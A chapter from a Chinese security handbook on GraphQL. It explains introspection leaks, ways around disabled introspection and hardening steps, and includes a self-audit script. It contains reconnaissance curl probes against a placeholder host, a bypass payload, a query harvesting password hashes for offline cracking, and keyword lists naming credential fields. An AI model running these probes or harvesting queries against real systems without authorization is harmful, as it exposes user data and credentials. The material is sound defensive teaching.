新兴攻击面与专项安全 — 接口与客户端(GraphQL·移动·IoT)
📚 本册属于《13-新兴攻击面与专项安全-实战专题》共 7 册中的 第 2 册 本册内容:第三~五章:GraphQL/gRPC、移动端、小程序、实时通信与 IoT(共 21,168 行)
全 7 册导航:
分册 内容 规模 00-开篇与名词速查 第 0 册 名词速查 A~F(读任何一章前先扫一眼) 263 行
| 01-应用层安全(AI·API) | 第 1 册 第一、二章:AI/LLM 应用安全、API 安全 | 10,138 行 |
| 02-接口与客户端(GraphQL·移动·IoT) | 第 2 册 第三五章:GraphQL/gRPC、移动端、小程序、实时通信与 IoT | 21,168 行 ← 本册 |
| 03-主机与内网渗透 | 第 3 册 第六、七章:主机与操作系统安全、内网横向移动与域渗透 | 21,495 行 |
| 04-数字取证与供应链 | 第 4 册 第八、九章:数字取证与应急响应 DFIR、软件供应链安全 | 17,172 行 |
| 05-云原生与Serverless | 第 5 册 第十章:新兴云原生与 Serverless 安全 | 12,063 行 |
| 06-Web3·数据合规·实战·总汇 | 第 6 册 第十一十四章:Web3、数据合规、综合实战、全书总汇 | 3,709 行 |
术语看不懂?回 00-开篇与名词速查 或 00-名词速查手册 Ctrl+F。
第三章:GraphQL 与 gRPC 安全(新型接口协议)
本章定位:11 号文档讲的是 REST 风格的 Web 安全,第二章讲的是 REST 风格的 API 安全。 本章讲两个安全模型完全不同的现代接口协议:GraphQL(前端驱动查询)和 gRPC(二进制 RPC)。
它们的安全问题不是 REST 漏洞的翻版,而是一批新物种:
协议 新物种漏洞 REST 里有对应物吗 GraphQL 内省泄露(一张图全给你) 无(REST 没有“自动导出全部接口”的标准能力) GraphQL 深度/复杂度攻击(一条查询打死服务器) 有类似(大分页),但 GraphQL 是嵌套放大,威力大 100 倍 GraphQL 批量查询 + 别名攻击(一次请求干 1000 次的活,绕过限流) 无(REST 一次请求 = 一次操作) GraphQL 字段级授权缺失(接口过了,字段没过) 无(REST 的授权单位是接口,GraphQL 的授权单位可以到字段) gRPC 二进制带来的“看不见” —— WAF/网关/日志全都瞎了 无(REST 是明文 JSON,人人都看得懂) gRPC 反射服务泄露(grpc_cli 一敲,接口清单全出来) 无 一句话记住本章: REST 的安全是“守住每个门“(每个接口是一道门); GraphQL 的安全是”守住图里的每个节点和每条边“(客户端自己决定走哪条路); gRPC 的安全是”守住每个服务之间的身份“(因为中间没有任何人看得见内容)。
3.1 先讲清楚:GraphQL 到底是什么,为什么安全模型完全不同
3.1.1 一句话定义
GraphQL 是 Facebook 在 2015 年开源的一种 API 查询语言和运行时。 核心思想:客户端自己决定要什么数据、要多少、以什么形状返回,服务端不再 predefined 每个接口的返回结构。
白话版(一句话):
- REST = 去餐厅点套餐:菜单上写着“A 套餐 = 炒饭 + 汤 + 沙拉”,你只能点套餐,吃不完也得端上来。
- GraphQL = 去餐厅点自助:你拿个盘子,自己决定夹什么、夹多少,“我要炒饭的米、不要配菜、再来两块排骨”。
再白话一点(面试用这句):
“REST 是服务端定义返回结构,所以安全问题主要是’每个接口有没有做鉴权’; GraphQL 是客户端定义返回结构,所以服务端根本不知道客户端会怎么组合查询, 于是’接口鉴权’这个单位就失效了 —— 你得管到字段这一级,还得限制客户端能把查询组合成什么样。”
3.1.2 三个核心概念(不懂这三个,后面全部看不懂)
| 概念 | 英文 | 白话解释 | 类比 |
|---|---|---|---|
| Schema | Schema(模式) | 服务端公布的一张“数据地图”,声明了有哪些类型、每个类型有哪些字段、字段之间怎么连 | 餐厅的食材清单 + 搭配规则表 |
| Resolver | 解析器 | 每个字段背后的取数函数。查到这个字段就执行这个函数 | 后厨里每道菜对应的厨师 |
| Query | 查询 | 客户端发的一段类 JSON 的查询串,声明要走地图上的哪些路径 | 你手里的点菜单 |
看一个最小的例子:
# ===== 服务端公布的 Schema(数据地图)=====
type User {
id: ID!
name: String!
email: String! # 邮箱
phone: String! # 手机号
orders: [Order!]! # 这个用户的订单列表(关联)
internalRiskScore: Int! # ★ 内部风控分(本不该给外部看)
}
type Order {
id: ID!
amount: Float!
address: String!
user: User! # ★ 订单反向关联回用户(图是双向的)
}
type Query {
user(id: ID!): User
orders(first: Int): [Order!]!
}
# ===== 客户端发的 Query(点菜单)=====
query {
user(id: "9527") {
name
email
orders {
id
amount
address
}
}
}
// ===== 服务端返回(形状和你点的一模一样)=====
{
"data": {
"user": {
"name": "朱宏晖",
"email": "zhuhh@example.com",
"orders": [
{ "id": "10001", "amount": 6999.0, "address": "北京市朝阳区xxx" }
]
}
}
}
3.1.3 ★ 为什么 GraphQL 的安全模型和 REST 完全不同(本章的理论地基)
这是面试最爱问的“原理题“。记住这张表:
| 维度 | REST API | GraphQL | 安全上的后果 |
|---|---|---|---|
| 端点数量 | 很多个(/api/users、/api/orders…) |
只有 1 个(通常是 /graphql) |
REST 可以按路径配 WAF/网关/限流;GraphQL 只有一个路径,所有按路径的防护全部失效 |
| 返回结构谁定 | 服务端定死 | 客户端定 | 服务端无法预判客户端要什么 → 无法做“返回字段白名单” → 过度数据暴露风险天然更高 |
| 授权单位 | 接口(Endpoint) | 字段(Field) | REST 我们做 antMatchers("/admin/**").hasRole("ADMIN");GraphQL 里 /graphql 这一个路径,你没法按路径授权,必须做字段级授权 |
| 一次请求的工作量 | 基本固定(1 次查询) | 可变,可以非常大(嵌套 + 别名) | 攻击者可以用一条请求让服务器干上万次数据库查询 → DoS 威力放大 10000 倍 |
| 限流能否按“次数”算 | 能(1 次请求 ≈ 1 次操作) | 不能(1 次请求可能含 1000 次操作) | 按请求次数限流 = 形同虚设,必须按查询复杂度限流 |
| 接口文档 | Swagger(要额外写/生成) | 内省(Introspection)自带 | 攻击者不用猜,一条内省查询就能拿到完整 Schema → 攻击面自动暴露 |
| 是否有“没被使用的接口” | 有(僵尸接口) | 有(Schema 里声明了但没人查的字段) | 资产管理问题依旧存在,但 GraphQL 可以通过**查询白名单(Persisted Query)**根治 |
★ 面试金句(背下来):
“GraphQL 本质上是把接口的设计权从服务端交给了客户端。 这在工程上是巨大的效率提升,但在安全上是把攻击面也一起交出去了。 所以 GraphQL 的安全建设有三个必须做的动作,缺一不可: ① 关掉生产环境内省(别把地图给攻击者) ② 限制查询的形状(深度 + 复杂度 + 批量数量) ③ 把授权下沉到字段级(而不是守在
/graphql这一个路径上) 这三件事做了,GraphQL 才是安全的;少做一件,都是裸奔。”
3.2 Introspection 内省泄露 —— 把整张地图交给攻击者
3.2.1 一句话定义 + 生活类比
Introspection(内省 / 自省) 是 GraphQL 的标准特性:客户端可以发一个特殊查询,问服务端“你都有哪些类型和字段?”,服务端会把完整的 Schema 返回给你。
生活类比(★ 记住这个):
你去一家公司面试。正常流程是你问什么、前台答什么。 但这家公司的前台有个规矩:你只要问一句“你们公司都有谁、都在哪个工位、谁有保险柜钥匙”, 前台就会把完整的员工花名册 + 工位图 + 钥匙登记表全部打印给你。
这个“规矩”就是 Introspection。 它对内部开发极其方便(GraphiQL 的代码补全、自动生成客户端代码都靠它), 但对生产环境的攻击者来说,等于把整张藏宝图递过去。
3.2.2 内省查询长什么样(你可以现在就去试)
最经典的一条“万能查询” —— 把整个 Schema 完整导出:
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType { kind name ofType { kind name ofType { kind name } } }
}
}
}
}
不用手写 —— 几乎所有 GraphQL 客户端工具(GraphiQL、Apollo Studio、Altair、Postman)都内置了这条查询,点一下“Docs”就自动发出去了。
更简单的几条探测查询(判断目标是不是 GraphQL、内省开没开):
# ===== ① 判断是不是 GraphQL 端点 =====
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
# 返回 {"data":{"__typename":"Query"}} → 确认是 GraphQL
# ===== ② 探测内省是否开启(最简化版)=====
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name}}}"}'
# 返回一堆类型名 → 内省开着(危险)
# 返回 {"errors":[{"message":"GraphQL introspection is not allowed..."}]} → 已关闭(好)
# ===== ③ 只问有哪些 Query 入口(更隐蔽,绕过某些粗粒度拦截)=====
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{queryType{fields{name description args{name type{name}}}}}}"}'
# ===== ④ 找所有 Mutation(写操作,最有价值)=====
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{mutationType{fields{name description args{name type{name}}}}}}"}'
# ===== ⑤ 用 GET 发(有些 WAF 只拦 POST)=====
curl -s "https://target.com/graphql?query=%7B__schema%7Btypes%7Bname%7D%7D%7D"
# ===== ⑥ 常见端点路径字典(不一定叫 /graphql)=====
# /graphql /graphiql /graph /api/graphql /v1/graphql
# /query /gql /api /graphql/console /playground /altair
# /graphql/v1 /api/v1/graphql /graphql.php /index.php?graphql
3.2.3 ★ 攻击者拿到 Schema 之后能干什么(危害远比你以为的大)
很多人以为“内省泄露只是信息泄露,不算严重漏洞”。这是错的。内省泄露是所有 GraphQL 攻击的前置条件:
第 1 步:内省拿到完整 Schema
↓
第 2 步:从 Schema 里找"开发者忘了保护的字段"
↓
典型的"金矿字段"(★ 内省里一搜一个准):
internalRiskScore 内部风控分
isAdmin / role / permissions 权限标记
passwordHash / salt 密码哈希(★ 直接拿走去撞)
internalNotes 内部备注
debugInfo / stackTrace
cost / profit / margin 成本价、利润率(商业机密)
deletedAt / isDeleted 软删标记(配合查已删数据)
secretKey / apiKey / token
↓
第 3 步:从 Schema 里找"图里隐藏的路径"
↓
★ 这是 GraphQL 独有的:有些字段从业务入口走不到,但图是连通的
例:Query.user → orders → user → orders → ...(循环引用)
你以为 /graphql 只暴露了 user 查询,
实际上从 user 能走到 order,从 order 又能走回 user,
从 user 还能走到 payment → bankCard → ...
★ 图是连通的,任何一个入口都可能走到全图
↓
第 4 步:找 Mutation 里没做鉴权的写操作
↓
deleteUser(id) / updateUserRole(id, role) / refund(orderId)
↓
第 5 步:构造攻击(越权 / 提权 / 拖库 / DoS)
★ 一个真实感很强的例子(“金矿字段”):
# 内省里发现了 User 类型有个 internalRiskScore 和 passwordHash
# 但前端页面上从来没用过 —— 开发者以为"前端不显示就没人知道"
query {
users(first: 1000) {
id
name
email
phone
passwordHash # ★ 直接拿走,离线跑 hashcat
internalRiskScore # ★ 商业机密
}
}
{
"data": {
"users": [
{
"id": "1", "name": "admin", "email": "admin@corp.com",
"phone": "13800138000",
"passwordHash": "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy",
"internalRiskScore": 5
},
{ "id": "2", "name": "zhangsan", "...": "..." }
]
}
}
一句话总结: 内省开着 = 攻击者不需要猜接口、不需要 Fuzz、不需要看前端 JS 找接口名, 一条命令就把你的整个数据模型 + 所有入口 + 所有内部字段全部拿到。 而且日志里只有一条正常的 200 OK 请求,没有任何异常特征。
3.2.4 为什么“关掉内省”不是万能的(三个绕过方法)
这是面试的加分题 —— 面试官问“内省怎么防”,你答“关掉”,他会追问“关了就安全了吗“。
绕过 1:错误信息 + 字段名建议(Suggestion)泄露
GraphQL 规范里有一条:如果你查了一个不存在的字段,服务端会返回 “Did you mean xxx?” 的建议。
# 内省已关闭,发一个瞎猜的字段
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id:\"1\") { pasword } }"}' # 故意拼错 password
# 返回:
# {
# "errors": [{
# "message": "Cannot query field 'pasword' on type 'User'. Did you mean 'password', 'passwordHash', 'phone'?"
# }]
# }
★ 你看,内省关了,但字段名照样泄露了 —— 而且泄露的是真实存在的字段名。 攻击者可以写个脚本,用字典不断猜字段名,靠 “Did you mean” 把整个 Schema 慢慢“问”出来。 这就是 “字段名暴力枚举(Field Fuzzing)”。
修复:生产环境关闭 Did you mean 建议(graphql-java 里设 graphql.execution.DataFetcherExceptionHandler 或者直接用 GraphqlErrorBuilder 自定义错误消息,去掉 suggestion)。
绕过 2:前端 JS 里本来就有一份 Schema
很多团队用 Apollo/Relay 的代码生成,把 Schema 或 persisted query 的映射表打进了前端 bundle。攻击者 Ctrl+U 看 JS 就行。
# 从前端 JS 里扒 GraphQL 查询
grep -oE 'query [A-Za-z]+ *\([^)]*\) *\{[^}]{0,500}' https://target.com/static/js/app.*.js
# 或者在 Chrome DevTools → Sources → 搜 "query " / "mutation "
# 或者用工具:
# https://github.com/doyensec/graphql-cop(还会顺便测一堆配置问题)
# https://github.com/nikitastupin/clairvoyance(★ 专治内省关闭:靠建议+错误枚举还原 Schema)
绕过 3:Persisted Query 的 hash 可以反查
有些站点开了持久化查询(只接受预注册查询的 hash),但如果服务端允许“未知 hash 时回退到传完整 query”(多数实现都允许,为了兼容),那攻击者直接传完整 query 就行,白名单等于没开。
// 正常(白名单模式)
{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"a1b2c3..."}},"query":null}
// ★ 绕过:把完整 query 一起传,很多服务端会接受并"顺便注册"
{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"a1b2c3..."}},
"query":"{ __schema { types { name } } }"}
3.2.5 怎么修(三件事必须一起做)
✅ 修复 1:生产环境关闭内省(但开发环境保留)
graphql-java(Spring Boot)配置:
/**
* GraphQL 内省开关 —— 按环境区分
*
* ★ 关键认知:内省不是"关掉就完事",是要"只在可信环境开"。
* 开发/测试环境开着(GraphiQL 要用),生产环境必须关。
*/
@Configuration
public class GraphQLIntrospectionConfig {
@Value("${spring.profiles.active:dev}")
private String activeProfile;
@Bean
public GraphQLSchemaProvider graphQLSchemaProvider(...) {
// ...
}
/**
* ★ 用 Instrumentation 拦截内省查询 —— 比全局开关更灵活
* 好处:可以按"请求来源 / 角色 / Header"动态决定,
* 比如内部服务或带了 X-Internal-Key 的请求仍可内省
*/
@Bean
public Instrumentation introspectionBlockingInstrumentation() {
return new SimpleInstrumentation() {
@Override
public InstrumentationContext<ExecutionResult> beginExecuteOperation(
InstrumentationExecuteOperationParameters parameters) {
boolean isIntrospection = parameters.getExecutionContext()
.getOperationDefinition().getSelectionSet()
.getSelections().stream()
.anyMatch(s -> s instanceof Field
&& ((Field) s).getName().startsWith("__"));
boolean isProd = "prod".equals(activeProfile);
boolean hasInternalKey = hasInternalKey(parameters);
if (isIntrospection && isProd && !hasInternalKey) {
// ★ 直接返回错误,不要执行
throw new AbortExecutionException(
GraphqlErrorBuilder.newError()
.message("内省查询在生产环境已禁用")
.build());
}
return SimpleInstrumentationContext.noOp();
}
private boolean hasInternalKey(InstrumentationExecuteOperationParameters p) {
// 内部服务带上特定 Header 可以内省(给 CI / 契约测试用)
Object ctx = p.getExecutionContext().getContext();
if (ctx instanceof GraphQLContext gqlCtx) {
return "true".equals(gqlCtx.get("internalKeyValid"));
}
return false;
}
};
}
}
Node.js(Apollo Server)配置:
// Apollo Server 4 —— 生产环境关闭内省
import { ApolloServer } from '@apollo/server';
import { ApolloServerPluginLandingPageDisabled } from '@apollo/server/plugin/disabled';
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production', // ★ 生产关闭内省
plugins: [
// ★ 同时关掉默认的 Landing Page(/graphql 直接访问时的那个可视化界面)
process.env.NODE_ENV === 'production'
? ApolloServerPluginLandingPageDisabled()
: ApolloServerPluginLandingPageLocalDefault(),
],
});
Nginx / 网关层兜底(★ 推荐,双保险):
# ===== Nginx 层直接挡掉内省请求 =====
# 好处:应用层关不掉(比如第三方库偷偷开了)时,网关还能兜住
location /graphql {
# 检测请求体里的 __schema / __type 关键字
if ($request_body ~* "(__schema|__type|__typename\s*\}*\s*$)") {
# ★ 注意:__typename 很多正常客户端会带(Apollo 缓存用),
# 所以这里只拦 __schema 和 __type,不要一刀切
return 403 '{"errors":[{"message":"Introspection disabled"}]}';
}
proxy_pass http://graphql_backend;
}
# ★ 同时禁止直接访问 GraphiQL / Playground 页面
location ~ ^/(graphiql|playground|altair|voyager) {
return 404;
}
⚠️ Nginx 层的局限(面试会追问):
$request_body只有在client_body_buffer_size足够大、且请求体已被读入内存时才非空。 大请求体或者client_max_body_size超限时可能匹配不到。 更好的做法是用 OpenResty + lua-nginx-module 在access_by_lua_block里读 body, 或者干脆在应用层 Instrumentation 里做(更可靠)。两层都做,纵深防御。
✅ 修复 2:关闭字段建议(Did you mean)
/**
* 自定义异常处理 —— 生产环境抹掉 "Did you mean" 建议
*
* ★ 为什么重要:字段名建议 = 变相助攻攻击者枚举 Schema
*/
@Component
public class ProductionGraphQLErrorHandler implements DataFetcherExceptionHandler {
@Value("${spring.profiles.active:dev}")
private String profile;
@Override
public DataFetcherExceptionHandlerResult onException(
DataFetcherExceptionHandlerParameters params) {
Throwable e = params.getException();
SourceLocation loc = params.getSourceLocation();
ResultPath path = params.getPath();
String message;
if ("prod".equals(profile)) {
// ★ 生产环境:通用错误消息 + traceId,绝不泄露内部细节
String traceId = MDC.get("traceId");
message = "查询执行失败,请联系管理员。traceId=" + traceId;
log.error("GraphQL error at path={} loc={} traceId={}", path, loc, traceId, e);
} else {
message = e.getMessage(); // 开发环境保留详细错误
}
GraphQLError error = GraphqlErrorBuilder.newError()
.message(message)
.location(loc)
.path(path)
.build();
return DataFetcherExceptionHandlerResult.newResult().error(error).build();
}
}
/**
* ★ 额外:拦截 ValidationError(字段名不存在就是这类错误)
* 它的 message 里带有 "Did you mean ...",需要单独处理
*/
@Component
public class ValidationErrorSanitizer implements Instrumentation {
@Override
public ExecutionResult instrumentExecutionResult(
ExecutionResult executionResult,
InstrumentationExecutionParameters parameters) {
List<GraphQLError> errors = executionResult.getErrors();
if (errors == null || errors.isEmpty() || !isProd()) {
return executionResult;
}
List<GraphQLError> sanitized = errors.stream()
.map(this::sanitize)
.toList();
return ExecutionResultImpl.newExecutionResult()
.from(executionResult)
.errors(sanitized)
.build();
}
private GraphQLError sanitize(GraphQLError err) {
String msg = err.getMessage();
// ★ 砍掉 "Did you mean xxx?" 这一段
if (msg != null && msg.contains("Did you mean")) {
msg = msg.substring(0, msg.indexOf("Did you mean")).trim();
// 再进一步:把具体的字段名也抹掉
msg = "查询字段无效";
}
return GraphqlErrorBuilder.newError()
.message(msg)
.locations(err.getLocations())
.build();
}
}
✅ 修复 3:内省开着也不怕 —— 字段级授权(这是治本方案)
★ 最重要的一句话: 内省泄露本身不是最可怕的问题,可怕的是“Schema 里有不该给外部看的字段”。 如果你的 Schema 里没有
internalRiskScore、passwordHash这种字段, 或者这些字段即便被问到了也返回 null,那内省开着危害也有限。所以正确姿势是: ① 生产关内省(减少暴露) + ② 敏感字段不进对外的 Schema(分层 Schema) + ③ 字段级授权(最后一道闸) 三件事全做。只做第一件,等同于“把钥匙藏在地垫下面”。
分层 Schema(Schema Stitching / 内外分离) —— 这是最干净的做法:
内部 Schema(完整,含所有字段)
│
│ 【构建期】用工具裁剪,生成"对外 Schema"
▼
对外 Schema(裁剪后) ← 只暴露给外部客户端
- 移除 internalRiskScore、passwordHash 等敏感字段
- 移除内部专用的 Mutation
- 移除 admin* 前缀的查询
/**
* 用 graphql-java 的 SchemaTransformer 在【启动时】裁剪 Schema
*
* ★ 思路:不是"查到这个字段时报错",而是"这个字段压根不存在于对外 Schema"。
* 这样内省拿到的就是干净的 Schema,攻击者连字段名都看不到。
*/
@Component
@Slf4j
public class PublicSchemaTransformer {
/** 对外 Schema 中【必须移除】的字段(敏感字段黑名单)*/
private static final Set<String> SENSITIVE_FIELDS = Set.of(
"passwordHash", "salt", "internalRiskScore", "internalNotes",
"cost", "profit", "margin", "secretKey", "apiKey",
"debugInfo", "stackTrace", "rawSql"
);
/** 对外 Schema 中【必须移除】的 Mutation */
private static final Set<String> INTERNAL_MUTATIONS = Set.of(
"deleteUser", "updateUserRole", "refund", "adjustBalance",
"reindexAll", "flushCache", "triggerJob"
);
public GraphQLSchema buildPublicSchema(GraphQLSchema internalSchema) {
return SchemaTransform.transformSchema(internalSchema, new GraphQLTypeVisitorStub() {
// ① 裁剪对象类型的字段
@Override
public TraversalControl visitGraphQLObjectType(
GraphQLObjectType node, TraverserContext<GraphQLSchemaElement> context) {
// 内部 Mutation 整个移除
if (INTERNAL_MUTATIONS.contains(node.getName())) {
return TreeTransformerUtil.deleteNode(context);
}
// 敏感字段移除
node.getFields().stream()
.filter(f -> isSensitive(node.getName(), f.getName()))
.forEach(f -> {
log.info("[Schema裁剪] 移除敏感字段 {}.{}", node.getName(), f.getName());
TreeTransformerUtil.deleteNode(context.thisNode());
});
return TraversalControl.CONTINUE;
}
private boolean isSensitive(String typeName, String fieldName) {
return SENSITIVE_FIELDS.contains(fieldName)
|| fieldName.startsWith("internal")
|| fieldName.startsWith("_"); // 内部字段统一 _ 前缀约定
}
});
}
}
3.2.6 内省泄露 —— 完整检测脚本(可以直接拿去自查)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
graphql_introspect.py —— GraphQL 端点探测 + 内省导出 + 敏感字段扫描
用法:
python graphql_introspect.py https://target.com/graphql
python graphql_introspect.py https://target.com/graphql -H "Authorization: Bearer xxx"
python graphql_introspect.py https://target.com/graphql --scan-sensitive
★ 只用于自己有授权的系统自查!
"""
import sys, json, re, argparse, urllib.request, urllib.error
from typing import Optional
INTROSPECTION_QUERY = """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind name description
fields(includeDeprecated: true) {
name description
args { name type { kind name ofType { kind name } } }
type { kind name ofType { kind name ofType { kind name } } }
}
inputFields { name type { kind name } }
enumValues { name }
}
}
}
"""
# ★ 敏感字段关键词(内省导出后自动高亮)
SENSITIVE_PATTERNS = {
"凭据类": ["password", "passwd", "pwd", "secret", "token", "apikey", "api_key",
"privatekey", "private_key", "credential", "accesskey", "access_key"],
"权限类": ["role", "permission", "isadmin", "is_admin", "admin", "authority",
"scope", "group", "privilege"],
"内部风控": ["riskscore", "risk_score", "internal", "score", "credit", "blacklist"],
"商业机密": ["cost", "profit", "margin", "price_cost", "purchase_price", "supplier"],
"调试信息": ["debug", "stacktrace", "stack_trace", "rawsql", "raw_sql", "exception"],
"PII敏感": ["idcard", "id_card", "ssn", "bankcard", "bank_card", "phone",
"mobile", "address", "realname", "real_name"],
}
# ★ 危险的写操作关键词(Mutation 里出现就要重点人工复核)
DANGEROUS_MUTATIONS = [
"delete", "remove", "drop", "purge",
"update", "modify", "set", "change",
"grant", "revoke", "assign", "promote",
"refund", "transfer", "withdraw", "adjust",
"execute", "eval", "run", "trigger", "flush", "reindex",
"impersonate", "sudo", "assume",
]
COLORS = {
"red": "\033[91m", "green": "\033[92m", "yellow": "\033[93m",
"blue": "\033[94m", "purple": "\033[95m", "cyan": "\033[96m",
"bold": "\033[1m", "end": "\033[0m",
}
def c(text: str, color: str) -> str:
return f"{COLORS.get(color, '')}{text}{COLORS['end']}"
def post(url: str, payload: dict, headers: dict, timeout: int = 15) -> Optional[dict]:
"""发送 GraphQL 请求"""
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(url, data=data, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("User-Agent", "graphql-audit/1.0")
for k, v in headers.items():
req.add_header(k, v)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return json.loads(resp.read().decode("utf-8", errors="replace"))
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
print(c(f" [!] HTTP {e.code}: {body[:300]}", "yellow"))
return None
except Exception as e:
print(c(f" [!] 请求失败: {e}", "red"))
return None
def probe(url: str, headers: dict) -> bool:
"""探测目标是不是 GraphQL 端点"""
print(c("\n[*] 步骤 1:探测目标是否为 GraphQL 端点", "bold"))
r = post(url, {"query": "{__typename}"}, headers)
if r and "data" in r and r["data"].get("__typename"):
print(c(f" [✓] 确认是 GraphQL 端点,根类型名 = {r['data']['__typename']}", "green"))
return True
print(c(" [×] 不是 GraphQL 端点,或需要认证", "red"))
return False
def introspect(url: str, headers: dict) -> Optional[dict]:
"""执行内省查询"""
print(c("\n[*] 步骤 2:尝试内省导出完整 Schema", "bold"))
r = post(url, {"query": INTROSPECTION_QUERY}, headers)
if not r:
return None
if "errors" in r and r["errors"]:
msg = r["errors"][0].get("message", "")
if "introspection" in msg.lower() or "not allowed" in msg.lower():
print(c(" [✓] 内省已关闭(这是好事):" + msg[:120], "green"))
else:
print(c(" [!] 内省返回错误:" + msg[:200], "yellow"))
return None
if "data" in r and r["data"].get("__schema"):
types = r["data"]["__schema"]["types"]
print(c(f" [!] 内省开启!导出到 {len(types)} 个类型", "red"))
return r["data"]["__schema"]
return None
def unwrap_type(t) -> str:
"""把嵌套的 type 结构展开成 GraphQL 语法,如 [User!]!"""
if not t:
return "?"
if t.get("ofType"):
inner = unwrap_type(t["ofType"])
if t["kind"] == "NON_NULL":
return inner + "!"
if t["kind"] == "LIST":
return "[" + inner + "]"
return inner
return t.get("name", "?")
def scan_sensitive(schema: dict) -> None:
"""扫描敏感字段与危险 Mutation"""
print(c("\n[*] 步骤 3:敏感字段扫描", "bold"))
hits = []
muts = []
for t in schema.get("types", []):
if t.get("name", "").startswith("__"): # 跳过内建类型
continue
for f in (t.get("fields") or []):
fname = f.get("name", "")
lname = fname.lower()
for cat, kws in SENSITIVE_PATTERNS.items():
if any(k in lname for k in kws):
hits.append((cat, t["name"], fname, unwrap_type(f.get("type"))))
break
# 收集所有 Mutation
if t.get("name") == schema.get("mutationType", {}).get("name"):
for f in (t.get("fields") or []):
args = ", ".join(
f"{a['name']}: {unwrap_type(a.get('type'))}"
for a in (f.get("args") or []))
muts.append((f["name"], args, unwrap_type(f.get("type"))))
# 输出敏感字段
if hits:
print(c(f"\n 【敏感字段】命中 {len(hits)} 处:", "red"))
by_cat = {}
for cat, tn, fn, ft in hits:
by_cat.setdefault(cat, []).append(f"{tn}.{fn}: {ft}")
for cat in SENSITIVE_PATTERNS:
if cat in by_cat:
print(c(f"\n ── {cat} ──", "yellow"))
for line in by_cat[cat][:30]:
print(f" • {line}")
if len(by_cat[cat]) > 30:
print(f" ... 还有 {len(by_cat[cat]) - 30} 条")
else:
print(c(" [✓] 未命中明显的敏感字段关键词", "green"))
# 输出危险 Mutation
if muts:
print(c(f"\n【Mutation 清单】共 {len(muts)} 个写操作,以下需要重点人工复核:", "purple"))
danger = [m for m in muts
if any(k in m[0].lower() for k in DANGEROUS_MUTATIONS)]
for name, args, ret in danger[:40]:
print(c(f" ★ {name}({args}): {ret}", "red"))
if not danger:
print(" (未命中危险关键词)")
def check_graphiql(url: str) -> None:
"""检查可视化调试页面是否暴露"""
print(c("\n[*] 步骤 4:检查调试页面是否暴露", "bold"))
base = url.rstrip("/").rsplit("/", 1)[0] if "/graphql" in url else url.rstrip("/")
paths = ["/graphiql", "/playground", "/altair", "/voyager", "/graphql/console",
"/graphql/playground", "/__graphql"]
for p in paths:
try:
req = urllib.request.Request(base + p, method="GET")
req.add_header("User-Agent", "graphql-audit/1.0")
with urllib.request.urlopen(req, timeout=8) as resp:
if resp.status == 200:
body = resp.read().decode("utf-8", errors="replace")
if "graphiql" in body.lower() or "graphql" in body.lower():
print(c(f" [!] 暴露调试页面:{base + p}", "red"))
except Exception:
pass
print(" (未列出的路径即未暴露)")
def main():
ap = argparse.ArgumentParser(description="GraphQL 内省泄露自查工具")
ap.add_argument("url", help="GraphQL 端点 URL")
ap.add_argument("-H", "--header", action="append", default=[],
help="额外请求头,格式 'Key: Value',可重复")
ap.add_argument("-o", "--output", help="把 Schema 导出到 JSON 文件")
ap.add_argument("--scan-sensitive", action="store_true", help="扫描敏感字段")
args = ap.parse_args()
headers = {}
for h in args.header:
if ":" in h:
k, v = h.split(":", 1)
headers[k.strip()] = v.strip()
print(c(f"目标:{args.url}", "cyan"))
print(c("=" * 70, "cyan"))
if not probe(args.url, headers):
sys.exit(1)
schema = introspect(args.url, headers)
if schema:
if args.output:
with open(args.output, "w", encoding="utf-8") as fp:
json.dump(schema, fp, ensure_ascii=False, indent=2)
print(c(f"\n Schema 已导出到:{args.output}", "green"))
scan_sensitive(schema)
check_graphiql(args.url)
print(c("\n" + "=" * 70, "cyan"))
print(c("自查清单:", "bold"))
print(" ☐ 生产环境内省是否已关闭")
print(" ☐ 生产环境是否关闭了 'Did you mean' 字段建议")
print(" ☐ 调试页面(/graphiql、/playground)是否已下线")
print(" ☐ Schema 里是否有 passwordHash / internal* / cost 等敏感字段")
print(" ☐ 所有 Mutation 是否都做了鉴权(重点看 delete*/updateRole*/refund*)")
print(" ☐ 是否开启了查询深度与复杂度限制(见 3.3 节)")
if __name__ == "__main__":
main()
3.2.7 防御清单 + 面试问答
✅ GraphQL 内省安全 Checklist
| # | 检查项 | 怎么做 | 优先级 |
|---|---|---|---|
| 1 | 生产环境关闭内省 | introspection: NODE_ENV !== 'production' / Instrumentation 拦截 |
★★★ |
| 2 | 关闭字段建议(Did you mean) | 自定义 DataFetcherExceptionHandler 抹掉 suggestion |
★★★ |
| 3 | 下线调试页面 | /graphiql、/playground、/altair、/voyager 返回 404 |
★★★ |
| 4 | 敏感字段不进对外 Schema | 分层 Schema,构建期裁剪 | ★★★ |
| 5 | 网关层兜底拦截 __schema/__type |
Nginx / APISIX / Kong 规则 | ★★ |
